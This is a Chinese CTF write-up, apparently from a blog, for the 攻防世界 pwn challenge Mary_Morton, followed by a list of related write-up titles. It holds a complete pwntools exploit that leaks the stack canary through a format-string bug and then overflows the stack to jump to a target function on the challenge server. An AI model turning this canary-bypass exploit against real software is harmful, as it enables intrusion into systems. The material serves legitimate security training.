攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制
ctf(pwn) canary保护机制讲解 与 破解方法介绍
程序执行流程
有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次;
IDA分析
解题思路
程序存在canary保护,利用格式化字符串漏洞 得到canary的位置, 在利用栈溢出覆盖它,返回地址改为目标函数 4008da
EXP
from pwn import *
r=remote('111.200.241.244',58448)
r.sendlineafter("3. Exit the battle ",'2') #先进入格式化字符串利用
r.sendline("%23$p")
r.recvuntil("0x")
canary=int(r.recv(16),16) #长度16位 取16进制
r.sendlineafter("3. Exit the battle ",'1') #再进入栈溢出利用
payload='a'*0x88+p64(canary)+'a'*8+p64(0x4008da)
r.send(payload)
r.interactive()
EXP解读
r.sendline("%23$p")
0x90-8h=0x88
0x88/0x8=0x11(十进制17)
这里除以8是因为(我翻了一下汇编语言这一本书):
8bit组成1个Byte,也就是一个字节
微型机存储器的存储单元可以存储一个字节,即8个二进制位
一个存储器有128个存储单元,它可存储128个字节
往后找17+6=23个地址上即存canary的值
这里加6是 print输入的偏移量
可以看看 CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb
2.payload='a'*0x88+p64(canary)+'a'*8+p64(0x4008da)
有问题的评论区留言吧,我会回的❄
攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制相关推荐
- [攻防世界 pwn]——Mary_Morton
[攻防世界 pwn]--Mary_Morton 题目地址: https://adworld.xctf.org.cn/ 题目: checksec看下,64位还开启了NX和canary保护.(一般开启ca ...
- XCTF-攻防世界CTF平台-PWN类——1、Mary_Morton(格式化字符串漏洞、缓冲区溢出漏洞)
目录标题 1.查看程序基本信息 2.反编译程序 3.攻击思路 (1)先利用功能2格式化字符串漏洞 (2)找到功能1的sub_400960()函数返回地址的位置 方法二 1.查看程序基本信息 Mary_ ...
- realloc函数UAF利用|攻防世界pwn进阶区supermarket
文章目录 思路 0x00.tar解压 0x01.查看保护 0x02.查看程序并调试 0x03.漏洞分析 realloc函数详解 0x04.利用思路 利用过程 exp-1 解法二 函数须知 0x00.查 ...
- 攻防世界 Pwn 进阶 第一页
00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...
- [攻防世界 pwn]——pwn1(内涵peak小知识)
[攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...
- 攻防世界 Pwn 进阶 第二页
00 这文章更重要的是对这些题进行一个总结,说一些值得注意的地方,写一些自己的理解. 为了形成一个体系,想将前面学过的一些东西都拉来放在一起总结总结,方便学习,方便记忆. 攻防世界 Pwn 新手 攻防 ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- 攻防世界(Pwn) forgot---栈溢出;(方法一)
攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...
- [攻防世界 pwn]——forgot
[攻防世界 pwn]--forgot 题目地址: https://adworld.xctf.org.cn/ 题目: 在checksec看下保护 在IDA中, 竟然有后面函数, 找到sub_80486C ...
最新文章
- 修正r s分析法matlab程序,关于R/S分析程序用法
- python批量删除特定字符_根据某个特定字符删除一行
- C# 和 VB.NET 下,
- codevs1219 骑士遍历(棋盘DP)
- 动图演示23个鲜为人知的VSCode快捷键
- P2831-愤怒的小鸟【状压dp】
- org.hibernate.MappingException: Could not determine type for: java.util.List, at table: user, for...
- python发邮件主机找不到_Python 使用QQ邮箱发邮件
- python实现一个简单的加法计算器_Python简易项目 加减计算器的实现
- 手把手教你用OpenCV实现机器学习最简单的k-NN算法(附代码)
- 2014 中华架构师大会 回想
- android中的多媒体应用camera
- Python爬虫入门之使用Redis+Flask维护动态代理池
- mssql2000跟mssql2005共享问题
- node.val java_LeetCode——21. 合并两个有序链表(Java)
- 基于51单片机的超声波红外避障捡拾小车
- SetTimer函数总结
- 从NPU-SLAM-EDA技术分析
- 图片像素低,图片模糊怎么变清晰?
- DepthMap(1):D. Eigen (NIPS2014)
热门文章
- python3 枚举定义和使用
- Rabbitmq消息发送事务与确认机制
- [Reprint] 探寻C++最快的读取文件的方案
- python3 shell 正则表达式 攫取复杂字符串特定子串
- SGU 269. Rooks(DP)
- RABBITMQ 管理指南(添加虚拟HOST)
- 网上报名的一些感慨.
- 在斜坡上哪个物体滚的最快_人教版一年级上册 第十七课 会滚的玩具
- oracle 创建视图时提示自定义的函数功能名不管用_PCS 7 CFC的常用功能与操作
- 定义交货输出条件类型(Output Types)